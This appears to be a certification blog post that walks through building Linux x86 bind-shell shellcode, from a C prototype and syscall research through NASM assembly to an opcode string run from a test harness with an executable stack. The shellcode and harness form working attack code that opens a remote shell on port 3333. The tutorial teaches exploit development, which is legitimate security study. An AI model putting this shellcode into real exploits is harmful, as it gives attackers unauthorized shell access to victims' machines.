Introduction
This tutorial is part of the SecurityTube Linux Assembly Expert certification.
The goal of this assignment will be to create a Linux 32bit Shell_Bind_TCP shellcode (binds to a network port), execs a shell on incoming connection and the listening port number should be configurable.
The tutorial will contain example source with comments. Listed source code may have formatting issues so best place to obtain copies is from the projects Github repo.
Expected usage of this shellcode will be that when it’s executed on the ‘target’ system, the shell will bind to a tcp port and wait for a remote user to connect to the ‘target’ system for interaction.
Note: Example shellcode contains null characters to help simplify demonstration and processor registers have not been cleared which may lead to issues if used within an exploit.
[client]->[target host:port]
Methodology
- Write shellcode in high level language, c.
- Extrapolate system calls and parameters to equivalent assembly code.
- Take assembly code of shellcode, place into high level language as array of hex values and run shellcode directly from program’s stack.
High Level Language shellcode
#include <sys/socket.h> #include <sys/types.h> #include <stdlib.h> #include <unistd.h> #include <netinet/in.h> int main(void) { int client_file_descripter, sock_file_descripter; int network_port = 3333;//tcp port that shell will bind to struct sockaddr_in mysockaddr; sock_file_descripter = socket(AF_INET, SOCK_STREAM, 0); mysockaddr.sin_family = AF_INET; //2, TCP protocol mysockaddr.sin_port = htons(network_port);//tcp port to listen on mysockaddr.sin_addr.s_addr = INADDR_ANY;//0, bindshell will listen on any address bind(sock_file_descripter, (struct sockaddr *) &amp;mysockaddr, sizeof(mysockaddr)); listen(sock_file_descripter, 0); client_file_descripter = accept(sock_file_descripter, NULL, NULL); dup2(client_file_descripter, 0); //stdin dup2(client_file_descripter, 1); //stdout dup2(client_file_descripter, 2); //stderror execve("/bin/sh", NULL, NULL);//Execute shell command return 0; }
bind-shell.c
Compile using gcc
#gcc -g -static bind-shell.c -o bind-shell
Test shellcode
target$./bind-shell & [1] 41033 target$netstat -nlp|grep bind-shell (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 0.0.0.0:3333 0.0.0.0:* LISTEN 41033/bind-shell
Connect to bindshell via network socket and run ‘id’ to confirm shell interaction
target$ nc -vv localhost 3333 localhost [127.0.0.1] 3333 (?) open id uid=1000(remote) gid=1001(remote) groups=1001(remote)
Shellcode Assembly
Our high level shellcode makes some system calls and we need to only extrapolate the assembly code which interests us.
These are the c function calls which interest us:
- socket()
- bind()
- listen()
- accept()
- dup2()
- execve()
Run strace to help visualize calls:
target$ strace -e socket,bind,listen,accept,dup2,execve ./bind-shellexecve("./bind-shell", ["./bind-shell"], [/* 30 vars */]) = 0 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 bind(3, {sa_family=AF_INET, sin_port=htons(3333), sin_addr=inet_addr("0.0.0.0")}, 16) = 0 listen(3, 0) = 0 accept(3, 0, NULL) = 4 dup2(4, 0) = 0 dup2(4, 1) = 1 dup2(4, 2) = 2 execve("/bin/sh", [0], [/* 0 vars */]) = 0 --- SIGCHLD (Child exited) @ 0 (0) ---
strace output shows that after the shellcode binary run the first system call is socket() with three parameters passed.
Next system call is bind() with three parameters. One of the parameters is a structure. We can obtain more detail from the man docs.
listen() system call with two parameters.
accept() system call with three parameters.
dup2() is called three times with two parameters each time.
execve() is called with three parameters.
To recap, we know which system calls are needed in our assembly shellcode, we know what parameters need to be passed to them but we don’t know the purpose of these syscalls and what the parameters represent. In the following sections I will demonstrate how to go about obtaining this information from Linux man docs, Linux kernel headers and the Gnu debugger. Or Google.
socketcall()
Get system call value target$ grep socket /usr/include/i386-linux-gnu/asm/unistd_32.h #define __NR_socketcall 102 target$ man socketcall ---snip--- SOCKETCALL(2) Linux Programmer's Manual SOCKETCALL(2) NAME socketcall - socket system calls SYNOPSIS int socketcall(int call, unsigned long *args); DESCRIPTION socketcall() is a common kernel entry point for the socket system calls. call determines which socket function to invoke. args points to a block containing the actual arguments, which are passed through to the appropriate call. --/snip--- It would appear that the socket functions we are interested in are called by invoking socketcall() with the interrupt number 102=0x66 and passing the value representing the sub-function socket call.
socket()
target$ man socket ---snip--- socket - create an endpoint for communication ... int socket(int domain, int type, int protocol); target$ grep -R sys_socket /usr/include/linux/net.h #define SYS_SOCKET 1 /* sys_socket(2) */ socket syscall number is 1. Get constant for PF_INET target$ grep -R PF_INET /usr/include/i386-linux-gnu/ /usr/include/i386-linux-gnu/bits/socket.h:#define PF_INET 2 /* IP protocol family. */ Get constant for SOCK_STREAM target$ grep -R SOCK_STREAM /usr/include/i386-linux-gnu/ /usr/include/i386-linux-gnu/bits/socket_type.h: SOCK_STREAM = 1, /* Sequenced, reliable, connection-based Get constant for IPPROTO_IP target$ grep -R IPPROTO_IP /usr/include/ /usr/include/pj/compat/socket.h:# if !defined(IPPROTO_IPV6) /usr/include/linux/in.h: IPPROTO_IP = 0, /* Dummy protocol for TCP */ Summary Syscall name: socket Syscall number: 1 Number of params: 3 Param 1: 2 Param 2: 1 Param 3: 0 Returns: Socket file descriptor on success
bind()
target$ man bind ---snip--- NAME bind - bind a name to a socket ... int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen); target$ grep -R bind /usr/include/linux/net.h #define SYS_BIND 2 /* sys_bind(2) */ Bind syscall value is 2 Param 1: Socket file descriptor from previous socket call. Param 2: Pointer to sockaddr structure. This structure is made up of three parts, Network address type, Port number, Network address. Structure part 1: Get constant for AF_INET. target# grep -R AF_INET /usr/include/i386-linux-gnu/ /usr/include/i386-linux-gnu/bits/socket.h:#define AF_INET PF_INET We know that PF_INET is 2 Structure part 2: 3333 Structure part 3: 0.0.0.0 Param 3: Length of param 2 Summary Syscall name: bind Syscall number: 2 Number of params: 3 Param 1: Socket file descriptor from previous socket() call Param 2: Pointer to structure {2, 3333, 0.0.0.0} Param 3: 16, length of param 2 bytes Returns: 0 on success
Listen()
target$ man listen ---snip--- NAME listen - listen for connections on a socket ... int listen(int sockfd, int backlog); target$ grep -R listen /usr/include/linux/net.h #define SYS_LISTEN 4 /* sys_listen(2) */ listen syscall value is 4 Summary Syscall name: listen Syscall number: 4 Number of params: 2 Param 1: Socket file descriptor from previous socket() call Param 2: 0, Incoming network byte queue size. Zero doesn't seem logical but this is because we don't actually have to set a value other than 0. Returns: 0 on success
Accept()
target$ man accept ---snip--- accept - accept a connection on a socket ... int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen); target$ grep -R accept /usr/include/linux/net.h #define SYS_ACCEPT 5 /* sys_accept(2) */ accept syscal value is 5 Summary Syscall name: accept Syscall number: 5 Number of params: 3 Param 1: Socket file descriptor from previous socket() call Param 2: 0. We don't need to specify a network interface by using zero. Param 3: NULL. Man doc says Null can be used if param 2 is 0. Returns: Non-negative integer on success that is a descriptor for accepted socket.
dup2()
man dup2 ---snip--- dup, dup2, dup3 - duplicate a file descriptor ... int dup2(int oldfd, int newfd); ... dup2() makes newfd be the copy of oldfd, closing newfd first if necessary, but note the following: target$ grep -R dup2 /usr/include/i386-linux-gnu/asm/unistd_32.h #define __NR_dup2 63 List file descriptor on system. target$ ls -og /proc/self /proc/self/fd /proc/self/fd: total 0 lrwx------ 1 64 May 31 17:10 0 -> /dev/pts/0 lrwx------ 1 64 May 31 17:10 1 -> /dev/pts/0 lrwx------ 1 64 May 31 17:10 2 -> /dev/pts/0 Summary Syscall name: dup2 Syscall number: 63 Number of params: 1 Param 1: 4, file descriptor returned from previous accept() syscall Param 2: 0, 1, 3 We are redirecting stdin, stdout, stderror to the newly created network file descriptor. Returns: Value of param2 on success.
Execve()
target$ man execve ---snip--- execve - execute program ... int execve(const char *filename, char *const argv[], char *const envp[]); execve() executes the program pointed to by filename. filename must be either a binary executable, or a script starting with a line of the form: remote@kali:~$ grep -R execve /usr/include/i386-linux-gnu/asm/unistd_32.h #define __NR_execve 11 Summary Syscall name: execve Syscall number: 11 Number of params: 3 Param 1: "/bin/sh", We will be invoking the standard shell program Param 2: 0, zero indicates no parameters passed to invoked program Param 3: NULL, no environment variables needed. Returns: Does not return on success.
Quick Primer on Linux system calls
- syscall is default way of entering kernel mode on x86-64. This instruction is not available in 32 bit modes of operation on Intel processors.
- sysenter is an instruction most frequently used to invoke system calls in 32 bit modes of operation. It is similar to syscall, a bit more difficult to use though, but that is kernel’s concern.
- int 0x80 is a legacy way to invoke a system call and should be avoided.
Below is an excerp from http://www.kernel-panic.it/security/shellcode/shellcode2.html
2.1 int 0x80
Let’s take a look at the first method. When the CPU receives a 0x80 interrupt, it enters kernel mode and executes the requested function, getting the appropriate handler through the Interrupt Descriptor Table.
The syscall number must be specified in EAX, which will eventually contain the return value. The function arguments (up to six), instead, are passed in the EBX, ECX, EDX, ESI, EDI and EBP registers (exactly in this order and using only the necessary registers). If the function requires more than six arguments, you need to put them in a structure and store the pointer to the first argument in EBX. Note: Linux kernels prior to 2.4 didn’t use the EBP register for passing arguments and, therefore, could pass only up to 5 arguments using registers.
After the syscall number and the parameters have been stored in the appropriate registers, the 0x80 interrupt is executed: the CPU enters kernel mode, executes the system call and returns the control to the user process.
To recap, to execute a system call, you need to:
- store the syscall number in EAX;
- store the syscall arguments in the appropriate registers or:
- create an in-memory structure containing the syscall parameters,
- store in EBX a pointer to the first argument;
- execute the 0x80 software interrupt.
Our shellcode will be using the int 0x80 legacy method of invoking system calls.
At this stage I had difficulty explaining how one would make a logical leap from c code to assembly. One can search the Internet and nearly all references would tell you to invoke the kernel syscalls using int 0x80 and what values need to go into which registers but finding real documentation is difficulty.
The next logical step would be to debug the shellcode binary and actually see if the code behaved as expected. I found that the code had many more calls than expected and didn’t match the Internet tutorials. But then I discovered that the key was to recompile my source code with the -static switch and thus make the binary self contained and not load any external libraries at run time.
The following images below show me breaking the debugger before the socket call.
Assemble the Assembly code
We can easily obtain the shellcode’s assembly representation by disassembling it through Objdump:
Look for main function
target$ objdump -d ./bind-shell -M intel |grep ':' -A 300|less 08048254 : 8048254: 55 push ebp 8048255: 89 e5 mov ebp,esp 8048257: 83 e4 f0 and esp,0xfffffff0 804825a: 83 ec 30 sub esp,0x30 804825d: c7 44 24 2c 05 0d 00 mov DWORD PTR [esp+0x2c],0xd05 8048264: 00 8048265: c7 44 24 08 00 00 00 mov DWORD PTR [esp+0x8],0x0 804826c: 00 804826d: c7 44 24 04 01 00 00 mov DWORD PTR [esp+0x4],0x1 8048274: 00 8048275: c7 04 24 02 00 00 00 mov DWORD PTR [esp],0x2 804827c: e8 3f 85 00 00 call 80507c0 8048281: 89 44 24 28 mov DWORD PTR [esp+0x28],eax 8048285: 66 c7 44 24 14 02 00 mov WORD PTR [esp+0x14],0x2 804828c: 8b 44 24 2c mov eax,DWORD PTR [esp+0x2c] 8048290: 0f b7 c0 movzx eax,ax 8048293: 89 04 24 mov DWORD PTR [esp],eax 8048296: e8 95 8c 00 00 call 8050f30 804829b: 66 89 44 24 16 mov WORD PTR [esp+0x16],ax 80482a0: c7 44 24 18 00 00 00 mov DWORD PTR [esp+0x18],0x0 80482a7: 00 80482a8: c7 44 24 08 10 00 00 mov DWORD PTR [esp+0x8],0x10 80482af: 00 80482b0: 8d 44 24 14 lea eax,[esp+0x14] 80482b4: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 80482b8: 8b 44 24 28 mov eax,DWORD PTR [esp+0x28] 80482bc: 89 04 24 mov DWORD PTR [esp],eax 80482bf: e8 fc 83 00 00 call 80506c0 80482c4: c7 44 24 04 00 00 00 mov DWORD PTR [esp+0x4],0x0 80482cb: 00 80482cc: 8b 44 24 28 mov eax,DWORD PTR [esp+0x28] 80482d0: 89 04 24 mov DWORD PTR [esp],eax 80482d3: e8 68 84 00 00 call 8050740 80482d8: c7 44 24 08 00 00 00 mov DWORD PTR [esp+0x8],0x0 80482df: 00 80482e0: c7 44 24 04 00 00 00 mov DWORD PTR [esp+0x4],0x0 80482e7: 00 80482e8: 8b 44 24 28 mov eax,DWORD PTR [esp+0x28] 80482ec: 89 04 24 mov DWORD PTR [esp],eax 80482ef: e8 6c 83 00 00 call 8050660 80482f4: 89 44 24 24 mov DWORD PTR [esp+0x24],eax 80482f8: c7 44 24 04 00 00 00 mov DWORD PTR [esp+0x4],0x0 80482ff: 00 8048300: 8b 44 24 24 mov eax,DWORD PTR [esp+0x24] 8048304: 89 04 24 mov DWORD PTR [esp],eax 8048307: e8 e4 77 00 00 call 804faf0 804830c: c7 44 24 04 01 00 00 mov DWORD PTR [esp+0x4],0x1 8048313: 00 8048314: 8b 44 24 24 mov eax,DWORD PTR [esp+0x24] 8048318: 89 04 24 mov DWORD PTR [esp],eax 804831b: e8 d0 77 00 00 call 804faf0 8048320: c7 44 24 04 02 00 00 mov DWORD PTR [esp+0x4],0x2 8048327: 00 8048328: 8b 44 24 24 mov eax,DWORD PTR [esp+0x24] 804832c: 89 04 24 mov DWORD PTR [esp],eax 804832f: e8 bc 77 00 00 call 804faf0 8048334: c7 44 24 08 00 00 00 mov DWORD PTR [esp+0x8],0x0 804833b: 00 804833c: c7 44 24 04 00 00 00 mov DWORD PTR [esp+0x4],0x0 8048343: 00 8048344: c7 04 24 08 af 0a 08 mov DWORD PTR [esp],0x80aaf08 804834b: e8 f0 74 00 00 call 804f840 8048350: b8 00 00 00 00 mov eax,0x0 8048355: c9 leave 8048356: c3 ret
Syscalls are referenced using sub calls. We can dump these calls further and flatten our final shellcode. Printing socket() call function confirms exactly what we expect, socketcall() is being invoked by placing 0x66 into EAX register, 0x1 is placed into ebx for socket() sub function and int 0x80 is triggered.
target$ objdump -d ./bind-shell -M intel |grep ':' -A 300|less 080507c0 : 80507c0: 89 da mov edx,ebx 80507c2: b8 66 00 00 00 mov eax,0x66 80507c7: bb 01 00 00 00 mov ebx,0x1 80507cc: 8d 4c 24 04 lea ecx,[esp+0x4] 80507d0: cd 80 int 0x80 80507d2: 89 d3 mov ebx,edx 80507d4: 83 f8 83 cmp eax,0xffffff83 80507d7: 0f 83 e3 12 00 00 jae 8051ac0 80507dd: c3 ret 80507de: 90 nop 80507df: 90 nop
A key requirement of the newly created shellcode will be to ensure that it can run without prior knowledge of where it will located in memory. That means the shellcode cannot contain any references like call or jmp to specific memory locations.
After tracing the shellcode through Gnu debugger this is my final assembly code presented in nasm format.
; shellcode.nasm ; Author: Mutti K ; Purpose: Demonstration of simple bindshell global _start section .text _start: ; socket() mov eax, 0x66 ;socketcall() mov ebx, 0x1 ; socket() socketcall() sub call number push 0x0 ; Param 3. Reverse order params onto stack push 0x1 ; Param 2 push 0x2 ; Param 1 mov ecx, esp ; store stack point of socket arguments int 0x80 mov esi, eax ; store newly created socket file descriptor for later use ; bind() mov eax, 0x66 ;socketcall() mov ebx, 0x2 ; bind() socketcall() sub call number ;Create structure on stack for param 2. push 0x00000000 ; bytes 16-12, not needed push 0x00000000 ; bytes 12-18, not needed push 0x00000000 ; bytes 8-4, 0.0.0.0. bind to any ip address push WORD 0x050d ; Port number to listen on 3333d d05h. Reverse byte order and in hex, bytes 4-2 push WORD 0x02 ; AF_INET, bytes 2-0 mov edi, esp ; store pointer to structure for param 2 of bind() ; Reverse order params for bind() onto stack push 0x10 ; Param 3 is length of param 2 structure push edi ; Param 2 pointer to structure push esi ; Param 1, socket file descriptor from socket() call mov ecx, esp ; store stack point of socket arguments int 0x80 ; listen() mov eax, 0x66 ;socketcall() mov ebx, 0x4 ; listen() socketcall() sub call number ; Reverse order params for bind() onto stack push 0x0 ; Param 2 push esi ; Param 1, socket file descriptor from socket() call mov ecx, esp ; store stack point of socket arguments int 0x80 ; accept() mov eax, 0x66 ;socketcall() mov ebx, 0x5 ; accept() socketcall() sub call number ; Reverse order params for bind() onto stack push 0x0 ; Param 3. addrlen is null push 0x0 ; Param 2. addr is null push esi ; Param 1, socket file descriptor from socket() call mov ecx, esp ; store stack point of socket arguments int 0x80 mov edx, eax ; store new file descriptor for use in dup2 to redirect stdin, out, error ; dup2() mov eax, 0x3f ; dup2() mov ecx, 0x0 ; oldfd, stdin mov ebx, edx ; newfd, returned fd from accept() int 0x80 ; dup2() mov eax, 0x3f ; dup2() mov ecx, 0x1 ; oldfd, stdout mov ebx, edx ; newfd, returned fd from accept() int 0x80 ; dup2() mov eax, 0x3f ; dup2() mov ecx, 0x2 ; oldfd, stderror mov ebx, edx ; newfd, returned fd from accept() int 0x80 ; execve() mov edx, 0x0 ; Param 3, null mov ecx, 0x0 ; Param 2, null ;create string on stack /bin/sh push 0x0068732f ; hs/ push 0x6e69622f ; nib/ mov ebx, esp ; Param 1 store pointer to string mov eax, 0xb ; execve() int 0x80
To compile, issue
$ nasm -f elf32 -o shellcode.o shellcode.nasm $ ld -o shellcode shellcode.o
Final test is to see if it can run within skeleton c code from the stack.
Convert shellcode to byte representations
target$ for i in `objdump -d shellcode | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done \xb8\x66\x00\x00\x00\xbb\x01\x00\x00\x00\x6a\x00\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb8\x66\x00\x00\x00\xbb\x02\x00\x00\x00\x6a\x00\x6a\x00\x6a\x00\x66\x68\x0d\x05\x66\x6a\x02\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\xb8\x66\x00\x00\x00\xbb\x04\x00\x00\x00\x6a\x00\x56\x89\xe1\xcd\x80\xb8\x66\x00\x00\x00\xbb\x05\x00\x00\x00\x6a\x00\x6a\x00\x56\x89\xe1\xcd\x80\x89\xc2\xb8\x3f\x00\x00\x00\xb9\x00\x00\x00\x00\x89\xd3\xcd\x80\xb8\x3f\x00\x00\x00\xb9\x01\x00\x00\x00\x89\xd3\xcd\x80\xb8\x3f\x00\x00\x00\xb9\x02\x00\x00\x00\x89\xd3\xcd\x80\xba\x00\x00\x00\x00\xb9\x00\x00\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xb8\x0b\x00\x00\x00\xcd\x80
Place shellcode into skeleton c code and modify slightly to allow configurable port number.
#include #include #DEFINE PORT_NUMBER "\x0d\x05" //od05 = 3333d unsigned char code[] = \ "\xb8\x66\x00\x00\x00\xbb\x01\x00" "\x00\x00\x6a\x00\x6a\x01\x6a\x02" "\x89\xe1\xcd\x80\x89\xc6\xb8\x66" "\x00\x00\x00\xbb\x02\x00\x00\x00" "\x6a\x00\x6a\x00\x6a\x00\x66\x68" PORT_NUMBER"\x66\x6a\x02\x89\xe7\x6a" "\x10\x57\x56\x89\xe1\xcd\x80\xb8" "\x66\x00\x00\x00\xbb\x04\x00\x00" "\x00\x6a\x00\x56\x89\xe1\xcd\x80" "\xb8\x66\x00\x00\x00\xbb\x05\x00" "\x00\x00\x6a\x00\x6a\x00\x56\x89" "\xe1\xcd\x80\x89\xc2\xb8\x3f\x00" "\x00\x00\xb9\x00\x00\x00\x00\x89" "\xd3\xcd\x80\xb8\x3f\x00\x00\x00" "\xb9\x01\x00\x00\x00\x89\xd3\xcd" "\x80\xb8\x3f\x00\x00\x00\xb9\x02" "\x00\x00\x00\x89\xd3\xcd\x80\xba" "\x00\x00\x00\x00\xb9\x00\x00\x00" "\x00\x68\x2f\x73\x68\x00\x68\x2f" "\x62\x69\x6e\x89\xe3\xb8\x0b\x00" "\x00\x00\xcd\x80"; main() { printf("Shellcode Length: %d\n", sizeof(code)-1); int (*ret)() = (int(*)())code; ret(); }
And compile new test code with executable stack.
$ gcc -o ./bind_shellcode_skeleton shellcode_skeleton.c -fno-stack-protector -z execstack
Test the bind shell by connecting to it using netcat
target$ ./bind_shellcode_skeleton Shellcode Length: 164
$ nc -vv localhost 3333 localhost [127.0.0.1] 3333 (?) open id uid=1000(remote) gid=1001(remote) groups=1001(remote) exit sent 8, rcvd 54
Thank you
Mutti K
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE-473
Pingback: SLAE-473 Assignment #2 | youremindmeofmymother
Pingback: SLAE-473 ASSIGNMENT #3 Egg Hunter Shellcode | youremindmeofmymother
Reblogged this on youremindmeofmymother.